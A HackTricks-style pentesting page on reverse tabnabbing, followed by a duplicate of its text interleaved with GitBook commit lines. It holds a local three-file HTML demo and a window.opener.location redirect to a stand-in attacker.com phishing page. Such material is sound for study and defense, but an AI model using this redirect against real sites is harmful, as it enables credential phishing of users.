hacktricks/pentesting-web/reverse-tab-nabbing.md

# Reverse Tab Nabbing

## Description

In a situation where an **attacker** can **control** the **`href`** argument of an **`<a`** tag with the attribute **`target="_blank" rel="opener"`** that is going to be clicked by a victim, the **attacker** **point** this **link** to a web under his control (a **malicious** **website**). Then, once the **victim clicks** the link and access the attackers website, this **malicious** **website** will be able to **control** the **original** **page** via the javascript object **`window.opener`**.\
If the page doesn't have **`rel="opener"` but contains `target="_blank"` it also doesn't have `rel="noopener"`** it might be also vulnerable.

A regular way to abuse this behaviour would be to **change the location of the original web** via `window.opener.location = https://attacker.com/victim.html` to a web controlled by the attacker that **looks like the original one**, so it can **imitate** the **login** **form** of the original website and ask for credentials to the user.

However, note that as the **attacker now can control the window object of the original website **he can abuse it in other ways to perform **stealthier attacks** (maybe modifying javascript events to ex-filtrate info to a server controlled by him?)

## Overview

### With back link

Link between parent and child pages when prevention attribute is not used:

![](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png)

### Without back link

Link between parent and child pages when prevention attribute is used:

![](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png)

### Examples <a href="examples" id="examples"></a>

Create the following pages in a folder and run a web server with `python3 -m http.server`\
Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link and note how the **original** **website** **URL** **changes**.

{% code title="vulnerable.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>Victim Site</h1>
<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>
</body>
</html>
```
{% endcode %}

{% code title="malicious.html" %}
```markup
<!DOCTYPE html>
<html>
 <body>
  <script>
  window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
  </script>
 </body>
</html>
```
{% endcode %}

{% code title="malicious_redir.html" %}
```markup
<!DOCTYPE html>
<html>
<body>
<h1>New Malicious Site</h1>
</body>
</html>
```
{% endcode %}

### Accessible properties <a href="accessible-properties" id="accessible-properties"></a>

The malicious site can only access to the following properties from the **opener** javascript object reference (that is in fact a reference to a **window** javascript class instance) in case of **cross origin** (cross domains) access:

* `opener.closed`: Returns a boolean value indicating whether a window has been closed or not.
* `opener.frames`: Returns all iframe elements in the current window.
* `opener.length`: Returns the number of iframe elements in the current window.
* `opener.opener`: Returns a reference to the window that created the window.
* `opener.parent`: Returns the parent window of the current window.
* `opener.self`: Returns the current window.
* `opener.top`: Returns the topmost browser window.

If the domains are the same then the malicious site can access all the properties exposed by the [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) javascript object reference.

## Prevention

Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security_Cheat_Sheet.html#tabnabbing).

## References

{% embed url="https://owasp.org/www-community/attacks/Reverse_Tabnabbing" %}

****
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00			`# Reverse Tab Nabbing`

			`## Description`

GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			In a situation where an attacker can control the `href` argument of an `<a` tag with the attribute `target="_blank" rel="opener"` that is going to be clicked by a victim, the attacker point this link to a web under his control (a malicious website). Then, once the victim clicks the link and access the attackers website, this malicious website will be able to control the original page via the javascript object `window.opener`.\
GitBook: [master] one page modified 2021-08-28 15:55:37 +00:00			If the page doesn't have `rel="opener"` but contains `target="_blank"` it also doesn't have `rel="noopener"` it might be also vulnerable.
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
GitBook: [master] one page modified 2021-08-28 15:55:37 +00:00			A regular way to abuse this behaviour would be to change the location of the original web via `window.opener.location = https://attacker.com/victim.html` to a web controlled by the attacker that looks like the original one, so it can imitate the login form of the original website and ask for credentials to the user.
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
GitBook: [#2874] update basic github 2021-11-30 13:55:54 +00:00			`However, note that as the attacker now can control the window object of the original website he can abuse it in other ways to perform stealthier attacks (maybe modifying javascript events to ex-filtrate info to a server controlled by him?)`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
			`## Overview`

			`### With back link`

			`Link between parent and child pages when prevention attribute is not used:`

GitBook: [#2874] update basic github 2021-11-30 13:55:54 +00:00			`![](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png)`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
			`### Without back link`

			`Link between parent and child pages when prevention attribute is used:`

GitBook: [#2874] update basic github 2021-11-30 13:55:54 +00:00			`![](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png)`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
GitBook: [#2874] update basic github 2021-11-30 13:55:54 +00:00			`### Examples <a href="examples" id="examples"></a>`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			Create the following pages in a folder and run a web server with `python3 -m http.server`\
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00			Then, access `http://127.0.0.1:8000/`vulnerable.html, click on the link and note how the original website URL changes.

			`{% code title="vulnerable.html" %}`
			```markup
			`<!DOCTYPE html>`
			`<html>`
			`<body>`
			`<h1>Victim Site</h1>`
			`<a href="http://127.0.0.1:8000/malicious.html" target="_blank" rel="opener">Controlled by the attacker</a>`
			`</body>`
			`</html>`
			```
			`{% endcode %}`

			`{% code title="malicious.html" %}`
			```markup
			`<!DOCTYPE html>`
			`<html>`
			`<body>`
			`<script>`
			`window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";`
			`</script>`
			`</body>`
			`</html>`
			```
			`{% endcode %}`

GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			`{% code title="malicious_redir.html" %}`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00			```markup
			`<!DOCTYPE html>`
			`<html>`
			`<body>`
			`<h1>New Malicious Site</h1>`
			`</body>`
			`</html>`
			```
			`{% endcode %}`

GitBook: [#2874] update basic github 2021-11-30 13:55:54 +00:00			`### Accessible properties <a href="accessible-properties" id="accessible-properties"></a>`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			`The malicious site can only access to the following properties from the opener javascript object reference (that is in fact a reference to a window javascript class instance) in case of cross origin (cross domains) access:`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
			* `opener.closed`: Returns a boolean value indicating whether a window has been closed or not.
			* `opener.frames`: Returns all iframe elements in the current window.
			* `opener.length`: Returns the number of iframe elements in the current window.
			* `opener.opener`: Returns a reference to the window that created the window.
			* `opener.parent`: Returns the parent window of the current window.
			* `opener.self`: Returns the current window.
			* `opener.top`: Returns the topmost browser window.

			`If the domains are the same then the malicious site can access all the properties exposed by the [window](https://developer.mozilla.org/en-US/docs/Web/API/Window) javascript object reference.`

			`## Prevention`

GitBook: [#2874] update basic github 2021-11-30 13:55:54 +00:00			`Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5\_Security_Cheat_Sheet.html#tabnabbing).`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
			`## References`

GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			`{% embed url="https://owasp.org/www-community/attacks/Reverse_Tabnabbing" %}`
GitBook: [master] 456 pages modified 2021-05-01 15:23:19 +00:00
GitBook: [#2777] gitbookissooooo slow I cannot write 2021-10-18 11:21:18 +00:00			`****`